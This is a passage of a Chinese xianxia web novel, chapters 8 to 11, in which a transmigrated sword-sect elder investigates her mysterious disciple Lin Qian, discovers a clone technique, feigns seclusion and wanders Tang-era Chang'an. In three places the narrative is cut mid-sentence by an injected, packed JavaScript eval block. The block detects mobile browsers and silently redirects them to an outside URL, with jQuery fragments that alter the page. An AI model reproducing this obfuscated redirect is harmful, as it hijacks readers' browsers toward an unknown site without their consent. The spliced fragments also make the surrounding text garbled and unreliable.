将灵识分离开并不算难,但原主很少用这种法术,所以柳今初运用起来就像初次接触一样生疏,她只能耗费一些时间适应这种灵魂出窍一段时间的感觉。 起初刚学会这个术法,分离灵识成功时,柳今初只感觉脑袋空了一下,浑身轻飘飘的,像是化作了一朵栀子花浮在流动的溪泉水中一样,起伏轻缓,但怪磨人的,不过时间一久她便习惯了,毕竟不痛不痒的,她能很快忽略掉那点奇怪的感觉。 分离了一部分灵识,柳今初便能掌握两个不同的视角,而且得益于她近乎无穷无尽的灵气,低于她大乘期修为的人绝对无法察觉,就算修为比她高也不易发现这点变动。 于是柳今初便随着飞动到长老阁外的灵识观察着外界,这种从高空往下俯瞰的方式,可以把整个灵符宗甚至所有宗门一览无余。不过作为剑修,御剑飞行便可到达这样的效果,可碍于柳今初喜欢整天窝在自己床踏上的性格,她这算是头一次飞这么高。 等柳今初这看看、那瞧瞧,慢慢悠悠地来到林谦的住所时,发现林谦早早熄了灯,只有他的屋舍是没有灯火的,而其他弟子,无论是门外还是门内弟子皆在勤加苦练地修炼剑术剑法,弟子住所可谓是灯火通明。 为何林谦早早休息去了,若按照裴卿的性格,他会加班加点一样地翻看她给的那一大摞秘籍。不过在回头想想,林谦虽然出身和裴卿差不多,但柳今初终究还是对他一无所知的,下意识把他归为和裴卿性格、作风相似的想法也确实是不妥。 抱着心里对窥看他人的歉意,柳今初默默在心底给林谦道歉,随后打算用灵识一探究竟。还未等柳今初的灵识顺着半开的窗沿进入林谦的住所,柳今初就忽地感觉自己的本体背后一凉,这丝莫名其妙的冷意顺着尾椎骨爬上后脑勺。远在自己宗门的灵识猛地一颤,随着柳今初的控制开始环顾四周。 然而四周算得上静谧无声,最南边的门外、门内弟子的住所冒着红黄暖色的灯光,星星点点分布着,瞧见这点色彩才让柳今初感觉这元剑宗此刻是有人醒着的,或者说是有人的气息的。 这样一闪而过奇怪念头柳今初不敢细想,当务之急是,她得看看林谦的情况,自从收他为徒以后,就出了很多怪事,而且偏偏多多少少与她有关。 8. 第八章 待柳今初探查完四周发现无异后,那晃动的灵识便顺着她的想法轻轻潜入林谦的屋内。 入眼的是一片漆黑,柳今初深感不妙,怪阴森森的,明明元剑宗的氛围还是挺和谐的。她移动着灵识望向刚刚进来的窗口的方向,却是看不见外头的微光,同样是伸手不见五指的黑,正当她哑然时,一种难以言说的紧迫感漫上心头。 这种感觉让还在灵符宗长老阁的柳今初本体再次体会到了先前那种背后发凉的感受,柳今初下意识蹙眉,按下心底想要站起来的念头,尽量保持着原来的姿势与神情,以免让其他长老察觉出来。 一面应付着这次商议,一面又要查清楚林谦是怎么回事,柳今初只感觉脑袋沉得厉害,奈何神经是紧绷的,灵识也处于警戒状态之中。 这林谦不会是反派吧,柳今初心里暗暗想,将自己身上浓厚的灵气分离一部分,慢慢汇集到远在元剑宗的灵识附近,再如何说,这灵识也算是她的魂魄的一部分了,她担心若是出了什么差错,自己小命会不保。 正当她用灵气筑完一层坚固的屏障时,周遭浓郁的黑像墨遇着了清水一般化开,熟悉的屋内陈设映入眼帘,柳今初愣住了,这显然不是什么亲传弟子住所的陈设,没有简式的床榻与木桌小椅。 这竟是自己的屋舍,她的灵识正浮在自己宽大的床榻上方,沉默地盯着那早上就没叠好的床褥,柳今初感觉自己的灵识都在冒冷汗。 她确信自己没有走错,先前她进去的那间屋舍定是林谦的,毕竟她的住所前有后院,后靠绿水青山,风光可比亲传弟子住所的好得多。 可为何黑色褪去后,她却来到了自己的住所,柳今初没深想,想让游荡的灵识回到本体中,她怕再出什么变故了。总之,这个林谦,绝非像表面那样简单,明日自己要亲自过去瞧瞧。 跟着柳今初一同参与这次商议的还有宁明,“师尊,您看着魂不守舍的,可是身体有些不适?”宁明投来担忧的目光,虽然平时风风火火的,但宁明在原小说中却是最敬爱原主这个师尊的。 “无妨,我们回去吧。”柳今初刚将灵识融入体内,便听见夏侯商宣布此次商议结束,于是她扶着宁明的手起身,方才那些遭遇让她全身都散发着寒意,觉着自己再不扶着些什么,就要跌倒了。 对此,柳今初握了握垂在身侧的手,决定要对灵气的运用更上心些,否则面对这种突发变故,她若是没能及时使出些技法或者运转自己的剑,那她可能要先一步离开这个世界了,都不用等到仙魔劫的到来了。 * 翌日,柳今初难得没有睡到日上三竿,早早便起了身,给自己施了一个除尘术,就去到了亲传弟子练剑的元剑台。 元剑台足足有二十多亩,地面均为青白色的石地,圆形的石地上有微微凸起的浮雕,是元剑宗特有的几种剑型的浮雕样式,圆地正中心的则是柳今初的那把没有剑灵穿附的长剑,精致工巧,豪气壮观。 如柳今初所料,林谦会规规矩矩地在清晨来到元剑台练剑,他现在所练习的招式,便是第一个入门级的招式———运气转剑。作为不看如何剑术秘籍的柳今初来说,她虽能凭借原主的肌肉记忆把这些招式行转得驾轻就熟,但让她叫出这招式的名字,她自是答不上来的。 她能记得这个剑术招式的名字,还是得益于之前自己日日监督年幼的裴卿练剑的那些日子。每次裴卿在练习一种招式之前会叫出那招式的名称,稚嫩的童音洪亮清脆,若他不是小说的男主,那此刻便是一个纯粹的孩童了,可以抛下一切烦心之事,做些想做的事。 但到了后来裴卿长大成少年后便不念了,似是有了现代里所说的青春期一样,对这种小事没由来地感到不好意思一般,每每与柳今初望向他的视线相触时,便会迅速躲闪开,更别提喊出那几个词了,不过柳今初觉得徒弟变得成这样似乎也有她的一点原因,毕竟自己还调侃过还是孩童的裴卿。 “裴卿,你怎会这般傻,不过可爱更多些。你想想看哪有剑修会在用剑术时喊出招式名称来的,这般可怎么与敌人打斗?”柳今初抚摸着他的发顶,感觉手感更好了,起码比初见时那顶干枯毛躁又发黄的发丝手感好得多。 听完师尊的话,身高才刚及师尊腰腹的裴卿握紧了手中轻巧的木剑,没说半句话,只点点头。 这反应让不了解小孩心思的柳今初有些无奈,不过她想,小孩子伤心了,用些好吃的哄哄总能哄好,于是练完剑后去翻看术法秘籍的裴卿便收到了一串糖葫芦。 柳今初到现在还忘不了,当她悄咪咪地走到裴卿身后,把那串红亮香甜的糖葫芦递到他眼前时,裴卿的眼里的惊讶与欣喜有多么可爱,和普通孩子无异,就是更乖巧懂事些。 可长成少年的裴卿就不是那么好应付了,处这种时期的孩子的心思柳今初猜不透,也不知用什么哄人开心,甚至不确定裴卿是否心情不佳,因为裴卿整日不是板着张面无表情的脸,就是只会在遇见师兄师姐的时候有礼地淡笑。 这让柳今初忽地想起,原小说男主裴卿的人设似乎就是这么一个高冷的冷面冰山,若是这样,柳今初就对裴卿有没有挂念师恩这件事愈发担忧了。 思绪飘飞了这么远才被柳今初强制拉回,她又重新聚焦视线,望向行剑干脆利落的林谦,只觉得心上压着的大石越发沉重了,本来照料裴卿这个徒弟便不是一件容易的事,现在又搬起石子砸自己的脚,又收下这么一个浑身都是秘密的徒弟。 正苦恼着,方才还在挥剑的少年便停了动作,似是察觉到了其他人的气息,刚转头便看见了立在自己身后的师尊。 不是初见时的那一袭衣衫了,而是凡间女子常穿的齐胸襦裙,浅淡的水色衣衫映衬着她墨色的长发,让人联想到瀑布流水,或者说文人雅客的山水墨画。 美如画中仙人,不过师尊或许真的可称为仙人。 “弟子林谦拜见师尊。”林谦躬身行礼,态度依旧谦和,让人挑不出一丝差错。 “起身吧。为师看你早早来到元剑台,练剑又如此刻苦,昨夜可有睡好?”柳今初旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792316|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 敲侧击着,随意地倚靠着一棵离自己最近的青松,模样随和。 “劳烦师尊担忧,徒儿很好。这弟子住所很是清净,想必能住在这里,任何人都能睡得安稳。”林谦不疾不徐回应。 柳今初环手抱胸,微眯着眼,她看着天边微微升起的红日回道:“那便好,为师还担心你睡得不习惯,却还要起早贪黑地练剑。” 林谦弯起唇角,“多谢师尊关心,徒儿很是庆幸能这般学剑。” 再看向少年,柳今初觉得自己要收回初次见到他时的评价了,林谦和裴卿还是有很大区别的,毕竟沉默寡言的孩子和其他孩子还是有很大差别的,换在这时,裴卿或许只会回一句恭敬的“多谢师尊。” “为师在这看了有一会儿了,徒儿可否用过早点了?” “未曾,师尊怎问起这个?” 随后两人便来到一处青松树荫下用起早点,在柳今初主动咬下一口蒸饼时,林谦顿了顿,似是觉着师尊这种修为高深的剑修不辟谷很是稀奇。 随后一连两个月,柳今初日日如此看望他,也像上次夜里一般查看林谦是否有异样,让柳今初没有想到的是,林谦的屋舍隔三差五便会如那次一般被浓厚的黑缚住内里。 这样明显而已被发觉的异常反而没让柳今初觉得心里有底了,她总隐隐约约觉着这是一个不得不踏入的陷阱。 一日清晨,喝完瓷碗中最后一口松仁粥后,柳今初便开口道:“看你如此坚持练剑,为师突然想起自己屋内还有些秘籍,或许对你的晋升有益,不过可能今晚才能送去给你。” 柳今初在次次观察中得知,林谦似乎不能自主控制那些黑暗的来临,而今晚按照她推算的时间来看,就是黑暗覆盖的时间。 果然如她所料,少年顿了一下,面上是藏不住的慌张神情,虽不明显,但足以让她察觉。 柳今初没有给他拒绝的机会,先行一步离开,自从学会这种可以瞬间移动的术法后,柳今初对灵气术法的学习更为上心了,毕竟这些术法总在关键时刻发挥作用,让她得以免去很多麻烦。 * 在后山的花海里消磨完剩下半天的时光后,柳今初总算盼来了星辰与明月,随意捞起早早放在石凳上的秘籍,便去到了林谦的住所,看见那漆黑的窗口,她勾起唇角,先为自己筑起一个常人难以察觉的护身屏障,才绕道前门,轻轻叩响木门。 见没人应答,柳今初也不着急,而是开口询问:“林谦?你这是睡下了?那为师便将书籍放在你门前了。” 但她不打算就这么离开,而是借助术法进入林谦屋内,这么多天的观察也并不是徒劳无功,她倒是摸索到了可以在这黑暗中看清一切事物的法子。 这个法子似乎来源于原主一处异于常人的地方,那便是她的双眸。柳今初在穿书后不久便发觉自己的变化,她变得喜欢盯着花花草草看,特别是前院的栀子花,有时一看便会看上一整天,直至夜晚来临,暮色将珍白栀子花花瓣吞没,她才从那种极深的吸引力之中脱离出来。 9. 第九章 等那墨黑从视野里慢慢散去,柳今初看见了林谦,他端坐在木凳上,一只瘦削苍白的手紧攥着腿上堆叠的衣摆,视线上移,只见少年的黑白分明的眼紧盯着一块乌黑的圆石,这圆石乍一看就是一块纯色的黑玉,让人觉着盘玩的手感定是圆滑细腻的。 可关键不在这圆石手感如何,而是从少年口中传出的一个熟悉的名字,听得柳今初眼皮一跳,不自觉地靠近林谦,侧着头,散落的长发都已触碰到了那木质的桌角,她凝神聚心地侧耳听着,生怕错过了什么。 “你说的什么剑魂还是剑灵,似乎不在元剑宗,或许还在百里裴卿体内。”林谦一语便将这数日探查的消息全部告知对方,面上仍是平常那般平静毫无波澜,可细看他那苍白无色的唇便知,林谦未必很冷静。 柳今初还保持着半蹲的姿势,用手撑着双膝,正打算继续听林谦还会说些什么,就忽地闻到了一股浓郁的香味,很怪异的味道,不是难闻,倒像是好闻过头了,有些冲鼻,柳今初下意识抬手捂鼻,她总觉得这香味不会代表什么好兆头,回想起之前看过的种种小说,这些味道的出现往往都是在给一些“重量级”人物的登场做铺垫,或者对于现在的她来说———是预警。 “你还是太弱了些,连外人来了,也察觉不到分毫。”那声音鬼魅,语调轻佻,若抛开话里的嘲讽,便是一句玩笑话的语气了。 柳今初立刻起身,因为动作幅度太大,额角的汗珠被带起的风吹拂而过,激起一层凉意。倒不是害怕这人发现了她,柳今初担忧的是,这人不是原小说里的反派,毕竟这声音听着分明是位女子,而反派是男子,若这女子是反派手下她便也不至于如此大惊小怪。 可偏偏这女子修为颇深,连她这个努努力可以进入渡劫期的大乘期也能发现,那实力必然与她不相上下了,这就代表着像原小说那名在仙魔劫杀人灭口的高阶反派不止一个。 那她这条小命该如何保住? “罢了,她不重要。你要做的自己心里明白便是。”女子说完轻笑一声,便再无后续。 待她话语消散全无,柳今初已经回到了自己的住所,靠着窗边发愁,觉着那高悬的明月也变得碍眼了,为何那么亮,而自己的前途却黑得深不见底,这命运是否有些欺人太甚了。她愤愤饮下一杯玫瑰佛手茶,自从发现自己容易心浮气躁之后,她便喝着起玫瑰佛手茶了,味道清甜,花香浓郁。 虽想念现代各式各样的奶茶饮品,但柳今初对养生还是很看重的,之前为了让自己不在上班的时候突然间猝死,她还是下了很大功夫的,网购了不少健康养生的茶包,每周不重样地喝。 为了不让林谦起疑心,柳今初打算明天发挥一下自己越人的演技,还得为这个刚收下的空灵根徒弟退出宗门作作准备,虽说她不看重旁人的眼光,但她的两位忠心耿耿的徒弟宁明和进勉未必沉得住气,至于裴卿,他现在对宗门发生的一切事情都一无所知吧。 想到这里,柳今初再回望那圆月,熟稔地将自己纯白的灵气注入床头的那块玉佩里,望着那流光溢彩的灵气流动,她渐渐入了神,平时没有细看,现在仔细一瞧,这灵气流动的样子好似她在现代生活里用的沐浴露,都是珍白的丝绸质地,上面有细细的珠光。 若是真回到了现实,在用起那款沐浴露,她不确定自己会不会应激,不过自己肯定会毫不犹豫地扔掉它换个新的,她真是不想让任何莫名其妙的必死之日降临了,这比连续一周无加班费加班恐怖得多。 她入迷太深,就这么趴在窗边,盯着玉佩上流动的纯白灵气出了神,等裴卿开口询问,才似忽地从梦中惊醒般缓过神,一脸茫然地回视少年的黑眸。 “裴卿,近些日子修炼得如何?没像上次那样遇到什么危及生命的事了吧,若有,也不许隐瞒,为师和你师兄师姐担忧得很。”柳今初心里时刻铭记着要做一个关心弟子的慈爱师尊,因而对上次的变故耿耿于怀,比起裴卿,她似乎更关心他会不会遇险。 见少年摇头,柳今初才放下心来,从窗边走向床榻,盘腿坐下,柔白的月光随即被暖色的烛火光替代,映照出她的侧脸轮廓,柔和流畅,在灯影之下,那双杏眼更是朦胧,虚虚地被长睫投下的阴影遮盖。 “徒儿,近日才突破金丹中期。徒儿这月未遇上高阶妖兽,请师尊勿担忧。”裴卿答得缓慢,声线也不似从前那般清冽了,有了几分沙哑低沉的感觉,长发高高竖起,眼底的少年意气已然掩藏不住。 “嗯,虽不如你小时候晋升的快,但也不必过多忧虑,我们裴卿是同龄弟子里最为出色的了。”柳今初看过原小说,虽未看完,但对男主裴卿是个什么性格还是有些把握的,他看似是众弟子中最为淡漠又沉默寡言的人,可那争强好胜之心却不比别人少半分。 而在柳今初心里,欲速则不达,争强不是不好,但过了头对裴卿也无益,万一像别的仙侠小说里写的那样,他走火入魔了该如何是好。玩归玩,闹归闹,柳今初虽平日随意了些,但做一名称职的师尊她是不敢有半点懈怠的。 裴卿似是不习惯他人的赞赏,侧目看向身旁的篝火,“多谢师尊夸奖,徒儿不敢。” “不过裴卿,近些日子你要多加小心,因为最近宗门或者说仙界这里不太平,有魔族的气息游荡。”柳今初想起此次通讯的重点,面色不由得变凝重起来,缠玩着一缕发丝的手也停了动作,“不过你不必将此事传开,免得引起慌乱。” “自然不会,师尊放心便可。徒儿做事定会小心谨慎的。”裴卿抱着剑,光洁的剑身反射篝火的红光,那把剑是柳今初命人专门给他铸制的,因为裴卿个子高,这把剑也比一般的剑要长上许多。 在裴卿还是少年时,柳今初便发现他喜用长剑,偏偏又不是常规的长剑,而是剑身更为宽厚的剑,因此元剑宗剑库中的长剑不是不够长,就是太过轻巧。 “那便好,若无其他事,便去好好歇息吧,免得太过劳累了。” 对面的少年顿了顿,尽管自己已经收到过师尊对他很多的关切问候了,但下次再听却仍想羽毛轻拂过掌心那样,轻轻柔柔,比许多良药术法更能止住疼痛。 * 观察林谦的这几个月,除开发现林谦有秘密,且很可能与原书反派有关以外,柳今初在自己身上也发现了惊为天人的秘密,在得知原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792317|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 主有这样一个秘密时,她只觉得原主过分偏执了,哪有人紧抓着练剑不放,对自己的天赋视而不见的。 那日她如往常那般看着话本子入睡,这话本子是凡间的抢手货,她为了维护长老的形象,还让宁明以她自己的名义去淘来这些讲述凡间爱恨情仇的话本子的,起初宁明只觉得师尊可算不是整日只会剑法了,而是会和她一样偷摸着娱乐娱乐,或许说师尊并不是偷摸着,而算是半个光明正大地看了。 柳今初爱看的话本还多是凡间人写的,均是些市井小事,而那些仙者意外迅速晋升引得旁人纷纷议论的故事她却只会摆摆手,把这些书推到桌角,生怕占了那些世俗话本的位置。 有时一连半月,师尊都没停下看话本的脚步,害得宁明只好让下山的门外弟子多多带些回来。也正是因为柳今初爱看话本,像是没了话本便吃不香睡不好一般,她萌生出了要在仙魔劫之前看完世间所有名动天下的著名话本,无论是爱恨情仇还是平平淡淡的故事,她都要看上一遍。 某日她为了话本放弃了午休,傍晚看柳今初得眼皮直打架也不愿入眠歇息歇息,便有了想分开灵识,一半灵识满足睡欲,一半灵识满足自己娱乐需求的想法。如此行动后,柳今初似是误用了灵力,不单单只将灵识分离了,还将另外一个自己变了出来。 起初她吓了一跳,看着衣着和样貌与自己别无二致的另一个人,心口砰砰直跳,谨慎地走动了几下,发现另一个自己并未有所动作,于是便打消了心里的疑虑———莫非是原主回来了? 随后她便得知,自己另外一部分灵识正附着在这所谓的“分身”身上,为了试探分身是否会被其他人看出,她还将前来送晚膳的进勉当作小白鼠,试着用主灵识控制着分身接过晚膳,再与进勉道别。 进勉摆摆手,和往日一样稳妥地回答她用完晚膳他再来收拾碗碟。 看着进勉那诚挚的双眼,藏在床榻上的被褥里的柳今初露出脑袋,顶着微乱的发顶坐起身,理了理遮住双眼的几缕发丝,对这一发现很欣喜,连忙从床踏上起身,先前那点睡意已然全无。 待她走到桌边,也没顾得上看上那诱人的佳肴一眼,就十分义气地拍拍另一个自己,虽然这么做有些怪异,不过手比脑子快一步,她也顾不上这么多了,于是打算用法术将自己的住所与外界隔绝,好好看看原主的实力深浅。 要知道,作为剑修,行剑能力定是最突出的,这显而易见,可灵气的运转便不会是一件和行剑一样轻松的事了,更不用说用灵气分身这种高难度的灵气转用,在这仙界生活多年,柳今初怎会不知。 这分身术的意外挖掘也让她能省去不少麻烦,至少这算是只有她自己知道的秘密,旁人不知,那便意味着自己多了一招保命的手段。 想到此,与裴卿断开通讯的柳今初又再次望向明月,目光向下,看着窗外静谧夜色之下那郁郁盛开的丁香花,嗅闻着紫丁花幽雅的香甜气味,她心底浮起一个想法,像极了溪泉之上那浮动飘荡的紫色花瓣,若不留心观察,便会隐秘无踪。 这法子既能让她继续行良师之道,又能助她探查为何变故颇多的原因。 10. 第十章 身着一袭杏红衣衫的少女从石凳上猛地起身,险些将那温热的茶水碰倒,发觉自己有些鲁莽了似的,宁明拍了拍身上并不存在的灰尘,规规矩矩倾身向师尊谢罪,“师尊宁明并非有意,只是、只是有些惊讶。” “罢了罢了,和我你还恭敬些什么,平时不拘小节的宁明哪去了?”坐在宁明正对面的女子浅笑,杏眼弯弯,好似不知哪日看见的弯月,“虽说师尊不在意你那些爱玩乐的心思,但为师既已决定要闭关修炼一段时日,那便不会再反悔。你呢,也该收收爱玩乐的性子了。” 其实柳今初并未说完,她将那句“和你师兄学学,进勉虽也是个有些顽皮的性子,但人家玩乐也有个限度。”咽回了肚子里,不知是受了现代社会的影响还是别的什么,她有是会下意识冒出这些想法,好在她有意识地制止了对它们的表达。 做了十几年的师尊了,她对教书育人即便再一窍不通,也该学会些什么了,这些东西便是她认为的,这个世界给予她为数不多的好礼。 “为师最后拜托你一事。”柳今初看着宁明有些不舍的目光,眼中也慢慢显露出几分不舍来,她轻柔地抚摸她黑栗色的长发,“将此事告知你进勉师兄,随后再告知其他弟子和宗门。” 柳今初还未说完便起了身,朝着自己的屋舍缓步走去,随着她的步子而摆动的浅色罗裙裙摆轻轻晃晃,似灵蝶舞翅。 她这些年来也不只是关注裴卿一人而已,宁明和进勉虽不是原小说中重要的人物,但站在她面前的,的的确确是个活生生的人,更何况她在一开始便察觉到了这两人的不对劲。 十几年前,她刚刚来到这里,没有可以按着原主的性格行事,对徒弟的看管不严苛,也不再坚持辟谷了,就连到后山转练自己的剑的次数也大幅减少了。先前和原主生活多年的宁明和进勉怎会无所察觉,只是碍于不敢触动严肃的原主才未在柳今初目前表现出来自己的不解罢了。 待两位徒弟对外宣告此事后,柳今初也来到了元剑宗山峰最高处———元剑地,那便是她闭关修炼之地。回想起来,各宗门长老闭关修炼之地的布局几乎一样,都矗立在高悬于浮云之上的顶峰之上,这些地方一般弟子均不可入内,就连亲传弟子也不可随意登顶来此地,这般管控严密的地方柳今初也是第一次来。 先前她在宗门中乱逛时,把元剑宗里里外外都走了个遍,唯独没有来到这元剑地。毕竟初次来到这仙者遍地都是的地方时,她虽是个宗门长老,可内心始终认为自己还是个凡人,凡人望见这通天漫长的阶梯时绝会打消了爬上去一探究竟的念头。 这元剑地与她的住所相近,就在后山那条常年滚动的小溪之上。柳今初依然穿着今早换上的齐胸襦裙,由于她修为高深又是仙者,容颜自是不老的状态,如此一瞧,便是一位灵气的少女站在了云雾之中。 柳今初向下望去,层层叠叠让人看着眼花的青白阶梯一路延伸至山脚,没入浅淡的溪水与葱郁的浓绿草木之中。 不愧是仙境啊,她待在这也有些时日了,如此再看也会被惊艳一番,若能抛下什么乱七八糟的仙魔劫,放下现实那些无依无靠与无尽循环,她愿在此久居。 盯着这云雾轻绕、灵鸟轻飞的美景直至眼中泛起薄薄的雾气,柳今初才转身推开高大的石门。 进入自己专门的修炼之地后,她不禁扶着粗粝的石质门框四处张望。这算是她最后一个没有逛过的地方了。 出乎她的意料,柳今初先前以为元剑地的建筑内部会很朴素,她心里想的闭关修炼之地可没有层层廊道,也不是这般灯火通明,充斥着暖黄灯火的地方。 为了专心致志修炼,元剑地不该是清冷又简洁的么?为何却是眼前这恢宏壮观的样子。 “像是皇帝宫宴上的装饰,这灯台也太精巧了些。”柳今初四处张望着,慢慢上了透玉质地的阶梯,踏步的声响算不上清脆但也不是沉闷,总之应是玉珠与珍珠相碰的声响,两者还隔了一层丝绸。 用细白的指尖触摸登台繁复的雕刻,柳今初辨认出来了,那时她前院的栀子花的形状。 “真是细致,叶脉也刻出来了。”这摸摸那看看地环逛完,柳今初有些一头雾水,这地方一张纸也没有,更别说什么珍藏的秘籍了,如此她该如何闭关修炼,总不能在这华美无比的地方待上几个月然后依然如故地出来吧。 柳今初不敢细想,着闭关修炼之地没有书,更不用提什么膳食糕点了,辟谷便是必须的了。 “真是辛苦你了。”柳今初原地打坐,像以往般分离出灵识,又让自己的灵气汇聚成人形,渐渐形成另一个自己,在一阵电流过脑的感觉之后,柳今初成功再次运用了分身术。 看着那与自己一模一样的人,她点点头,将分离出来的副灵识传入其中。在习惯控制两个不同视角的画面后,柳今初已然有些头昏昏的感觉了,算是体会到了一双眼看不过来的感受了。 单手扶着刻有元剑宗宗门风光的石壁,柳今初才勉强缓过来,眨了眨眼,等着重影消失她才直起腰,拖在阶梯上的裙摆,随着她的动作轻晃。没等她站直,那突然而来的失重感便顺着右臂席卷全身,吓得她惊叫出声。 凭借着原主的好身法,她没摔到阶梯上,免去了与那硬邦邦玉石阶梯的亲密接触。正当柳今初想抬头瞧瞧是个什么回事时,视野便被满墙的卷轴与书籍包围。 这些书页若全堆在她身上,她那怕是用灵力推开也费劲吧,“这书足足有上万本了吧。”柳今初一面不禁感叹这秘籍藏的如此隐秘,一面又感慨这书叠得这般紧密却竟还是看不见书架的末端。 “那便辛苦我自己了,告辞。”柳今初站稳后郑重地用双手拍了拍另一个自己,便在原地施展了瞬移术,顷刻间便来到了宗门山脚下的石子路上,站在那观察片刻,发现没有其他弟子的踪影,柳今初还是不放心,隐去了自己的身形和气息。 随后她查看完自己的储物空间,打算开始一一清点所有物品,检查完各种保命法器已经准备就绪后,她又开始翻看去凡间要带的物品,不过回头想想,去凡间她有了银钱便好,毕竟有钱的话,去凡间做什么都行,更何况她只是想去玩上几日而已。 那便让自己玩上几日再处理后事吧,趁着这大好机会不好好享玩一番,怎能解她思乡之愁,她虽在元剑宗整日好吃好喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792318|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,却还是会想念凡间那种熟悉的烟火气味。 从古至今,老百姓都只求吃得饱、穿得暖,和她这个拼命工作的社畜有何不同,即便不是熟悉的现代设施,那质朴的烟火气息也让她无比熟悉,与那仙界相比,她更喜欢这种安逸的凡间生活。 不费吹灰之力避开守着结界的弟子,柳今初穿过了仙界结界,随后便来到了凡间。她先前便隐去了身上的灵气与不凡之气,又换上了一张普通的脸,放在凡间人群里,也不过是一个样貌平平的女子。 柳今初挑了一个看着极其热闹的郭城,便在那地的无人之处现身。理了理自己有些凌乱的衣衫,她先拿出来一个装满开元通宝的承露囊,打算去西市逛逛。 说来也让人期待,这可是盛唐时期,柳今初很是庆幸原小说有提及凡间的故事,给了个如此美好的背景,自上次去完凡间她便念念不忘了。 一到西市,柳今初便被各式各样的铺子包围了,各种饼香与肉香环绕鼻尖,她还能感受到熟悉的拥挤感,样貌身形不一的人走动着,让她体验到从前那种逛小吃街的摩肩接踵的感觉。 正当她想买些胡风美食烤羊肉尝尝时,却发现没人好好排着队,才恍然,在这时古人似是没有排队这种说法的,不过纵使她也和其他客一样挤上前买吃食也会是第一个被挤出来的,她不愿争了,转头去人少些的铺子。 “这位娘子,我家的胡麻饼香脆得很,可不比那羊肉差,可否赏脸尝尝?”那店小二见了她手里攥着的承露囊眼里都冒了光,连忙凑上前开始介绍。毕竟在那袋口都看得见满满溢出的几个开元通宝,对这些铺子来说可是大客户。 柳今初也不挑,毕竟她是第一次吃胡麻饼,正愁去哪尝尝,她二话不说便放下五枚开元通宝,等着店小二端上胡麻饼。 “娘子,您可是要五张胡麻饼?”店小二用挂在脖颈上的麻布擦了擦汗,站不住似的原地走动着,看着实在是紧张。 柳今初刚找了个位子坐下,正拍着衣摆上薄薄的灰,听到这顿了顿,她才想起来这可不是现代,而自己对唐代的物价一无所知,上次去凡间也都是裴卿他们去付的帐。 “那一张胡麻饼只要一文钱?”柳今初不知便问,见店小二点了点头继续道:“那要一张尝尝。” “好咧娘子,您且等着。” 如此逛遍西市的一角,柳今初便已大饱口福了,尝遍了格式美食,才赶在日落前找到了一家有空房的客栈,若唐朝没有宵禁,柳今初觉得自己还会逛下去,这种安逸地只用吃吃喝喝的时光流逝最快了。 不过吃好喝好后如此睡上一宿也不错,柳今初掀开床褥,舒舒服服躺下,不过缺少了些话本子的陪伴,在这样繁华的西市她也不曾见过有话本子卖,毕竟在唐朝,还没有话本子这种东西。 这一小知识她也是睡前看小说学来的,这便让她觉着有些奇怪了,那先前自己让宁明去凡间找的话本又是哪来的? 正当她想得入迷,将要熟睡时,那靠着小矮桌的窗破开了一个口子,一丝幽风吹来,轻轻滑过那早已熄灭的油灯的灯芯,下一瞬,火光重新燃起,照亮躺在床榻上熟睡女子朴素的脸。 11. 第十一章 在这长安城逛了几日,柳今初总算是满足了心底那点对游玩的渴望,随即便打算离开凡间,动身前往九妖山。临走前,她先去了一趟城外的草市。 昨日便听说书人提到过这草市,她第一次听这词,以为是什么专门贩草的地方,为此她还在脑海里幻想出一堆饲养马匹的草料堆叠在棚子里的场景。但当她用手肘轻碰了一下邻座的姑娘问草市卖些什么时,那姑娘奇怪地看了她一眼,见她长相普通却皮肤细腻,身上穿着的衣裳也不是普通布料,便料定柳今初是个有钱人家的小姐。 “姑娘,你要去草市么?”那姑娘面上疑惑,但还是耐心地告诉她道:“草市就在城外,坐马车也要一个时辰才能到。那多是贫穷人家囤粮的地方,自然是卖些便宜粮食的地方了。” “多谢姑娘了。”柳今初朝对方道谢,露出一个亲和的笑容,眉眼弯弯,她从矮凳上站起身,从承露囊里拿出两文钱,递给店小二,随后出了茶楼。 等她上了马车,一路颠簸后终于来到了城外。这马车可真是晃得人眼花缭乱的,柳今初下马车时也没人帮扶着手,只得自己扶着马车扶手慢吞吞地下去,等她踏踏实实地踩到地面上,脑中那翻江倒海的感觉仍未消失,让她想扶着马车当场吐出方才在茶楼吃的糕点来。 早知如此,她便悄悄用些灵力了,就不该为了掩饰身上的不凡气质而刻意真变成一个凡人。这么看来,以前她看的电视剧里,那些坐马车的夫人小姐下马车要扶着身边丫鬟的手才能下马车,真是很写实了。 